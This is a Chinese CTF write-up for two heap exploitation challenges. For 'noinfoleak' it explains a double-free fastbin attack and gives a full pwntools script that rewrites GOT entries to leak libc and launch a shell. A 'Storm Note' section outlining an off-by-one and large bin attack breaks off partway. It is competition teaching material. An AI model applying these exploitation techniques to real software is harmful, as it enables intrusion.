西湖论剑pwn

noinfoleak

标准菜单题,逻辑非常简单,三个功能,新建,删除和修改
没有开PIE和部分RELRO,64位,拖进ida简单看一下

1
2
if ( v0 >= 0 && v0 <= 15 )
free(qword_6010A0[2 * v0]);

在删除时没有清空指针

1
2
3
4
5
if ( result >= 0 && result <= 15 )
{
putchar(62);
result = read(0, qword_6010A0[2 * v1], (size_t)qword_6010A0[2 * v1 + 1]);
}

在编辑的时候也没有检查是否是删除过后的
这个题目唯一的一个难点就是没有打印函数,这一点我们可以通过fastbin attack或者uaf去更改got表来实现信息泄露
基本的想法就是修改free的got表为puts,从而在free的时候执行puts去泄露信息
第一个问题,如何修改got表
因为程序在bss段上面开了个结构体数组来存放堆块的指针和大小

1
.bss:00000000006010A0 qword_6010A0    dq 20h dup(?)

开心的发现在上方不远处可以寻找到一个7f的字节错位,这样我们就可以绕过fastbin的size检查了
noinfoleak1

通过double free把chunk分配到这个位置,我们就可以对0x6010A0出这个结构体数组的指针进行修改,改成free的got表地址,用edit功能把free的got表修改成puts的plt表。同样的可以把第二个堆块的指针修改成putsGot,再free,从而泄露出libc的基地址。
最后,在用edit功能把free的got表修改成system的地址,这样就可以getshell了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
#context.log_level='debug'
#context.terminal = ["tmux", "splitw", "-h"]
sh=process('./noinfoleak')
elf=ELF('./noinfoleak')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
putsPlt=elf.plt['puts']
putsGot=elf.got['puts']
freeGot=elf.got['free']
log.info('puts:%x'%(putsPlt))
log.info('free:%x'%(freeGot))

def add(Size,context):
sh.recvuntil('>')
sh.sendline('1')
sh.recvuntil('>')
sh.sendline(str(Size))
sh.recvuntil('>')
sh.sendline(context)

def dele(idx):
sh.recvuntil('>')
sh.sendline('2')
sh.recvuntil('>')
sh.sendline(str(idx))

def edit(idx,context):
sh.recvuntil('>')
sh.sendline('3')
sh.recvuntil('>')
sh.sendline(str(idx))
sh.recvuntil('>')
sh.send(context)

add(96,'aaaa') #0
add(96,'bbbb') #1

#double free
dele(0)
dele(1)
dele(0)

targetAddr=p64(0x60108d)

add(96,targetAddr) #2
add(96,'bbbb') #3
add(96,'cccc') #4
#fake chunk to bss
payload='\x00'*3+p64(freeGot)+p64(96)+p64(putsGot)+p64(96)
add(96,payload) #5
sleep(0.5)
edit(0,p64(putsPlt)) # freeGot->putsPlt

dele(1) #puts(putsAddr)
putsaddr=u64(sh.recv(6).ljust(8,'\0'))
log.info('putsAddr:%x'%(putsaddr))
libcAddr=putsaddr-libc.symbols['puts']
log.info('libcAddr:%x'%(libcAddr))
systemAddr=libcAddr+libc.symbols['system']
log.info('systemAddr:%x'%(systemAddr))

edit(0,p64(systemAddr)) # freeGot->system
add(0x30,'/bin/sh\x00') #6
dele(6) # system('/bin/sh')

sh.interactive()

Storm Note

64位,保护全开,标准菜单题
拖进ida看一下

1
2
if ( mmap(0xABCD0000LL, 0x1000uLL, 3, 34, -1, 0LL) != 0xABCD0000LL )
exit(-1);

init_proc函数里mmap了一片区域

1
2
3
read(0, &buf, 0x30uLL);
if ( !memcmp(&buf, 0xABCD0100LL, 0x30uLL) )
system("/bin/sh");

backdoor函数里面存在后门(废话),这样我们的目标就很明确了,想办法对0xABCD0100处的内存进行写,继续分析

1
2
3
4
v2 = read(0, note[v1], note_size[v1]);
*(note[v1] + v2) = '\0';
```
这里存在一个非常明显的off-by-one NULL byte (明显是故意留的,太生硬了),而且堆块可以开蛮大的,那就非常容易了,算是标准的教学题难度吧(逃

__|_B_______|__
| | | | | |
| A | B1 | B2 | | C |
|__|||_|___|
`
先free B,对A编辑,利用漏洞减小B的size,在申请两个小的B1和B2,此时C堆块的pre_size还是存的B的大小,这样我们free B1和C的时候,就会导致B和C的合并,最后我们malloc((B1+B2)size<=(B+C))就可以对B2进行读写了
最后利用large bin attack去写目标内存
关于large bin attack 的东西我研究的不多,主要参考了Veritas501师傅的文章: Largebin 学习
这个题就写详细一些吧
首先,我们需要构造两个overlap的largebin的chunk